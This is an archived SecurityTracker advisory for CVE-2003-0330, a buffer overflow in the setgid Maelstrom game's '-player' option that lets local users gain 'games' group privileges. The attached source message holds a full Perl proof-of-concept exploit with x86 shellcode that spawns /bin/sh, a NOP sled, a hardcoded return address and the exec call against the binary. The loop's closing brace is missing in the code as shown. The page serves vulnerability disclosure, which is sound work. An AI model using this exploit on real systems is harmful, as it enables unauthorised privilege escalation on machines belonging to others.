Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Game)  >   Maelstrom Vendors:   Lantinga, Sam
Maelstrom Game '-player' Command Buffer Overflow Lets Local Users Gain Elevated Privileges
SecurityTracker Alert ID:  1008832
SecurityTracker URL:
CVE Reference:   CVE-2003-0330   (Links to External Site)
Date:  Jan 23 2004
Impact:   Execution of arbitrary code via local system, User access via local system
Exploit Included:  Yes  

Description:   A buffer overflow vulnerability was reported in the Maelstrom arcade game. A local user can obtain elevated privileges.

In May 2003, it was reported that a local user can specify a specially crafted value for the '-player' command line option to trigger the overflow and execute arbitrary code.

It is reported that maelstrom is configured with set group id (setgid) 'games' group privileges, so the code will run with games group privileges.

A demonstration exploit is provided in the Source Message.

Impact:   A local user may be able to execute arbitrary code with 'games' group privileges.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.

 Source Message Contents

Subject:  Maelstrom Local Buffer Overflow Exploit; CVE: CVE-2003-0330

Local exploit for /usr/bin/Maelstrom due to insufficient bounds checking of the -player 
cmd line arg.

See attached proof-of-concept exploit.

Now with e-mail forwarding for only US$5.95/yr

Powered by Outblaze

["" (application/octet-stream)]

#!/usr/bin/perl -w
# /usr/bin/Maelstrom -player Local Buffer Overflow Exploit by akcess
# This code exploits the -player overflow which i discovered after
# reading the initial advisory detailing  the -server  overflow by
# Luca Ercoli
# [ ] - *21/05/03*

$sc = "\x90"x1500; # write stdout "akcess wuz here..."; execve /bin/sh; exit;
$sc .= "\x31\xc0\x31\xdb\x31\xd2\x53\x68\x2e\x2e\x20\x0a\x68\x65\x72\x65";
$sc .= "\x2e\x68\x75\x7a\x20\x68\x68\x73\x73\x20\x77\x68\x61\x6b\x63\x65";
$sc .= "\x89\xe1\xb2\x18\xb0\x04\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68";
$sc .= "\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24";
$sc .= "\xb0\x0b\xcd\x80";

$ENV{'SC'} = $sc;

$offset = "0";
$ret = 0xbffff9ee;

for ($i = 0; $i < (8177 - 4); $i++) {
     $buf .= "\x90";

$buf .= pack('l', ($ret + $offset));

print("Using return address: 0x", sprintf('%lx',($ret + $offset)),"\n");
exec("/usr/bin/Maelstrom -player 1\@'$buf'");


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, LLC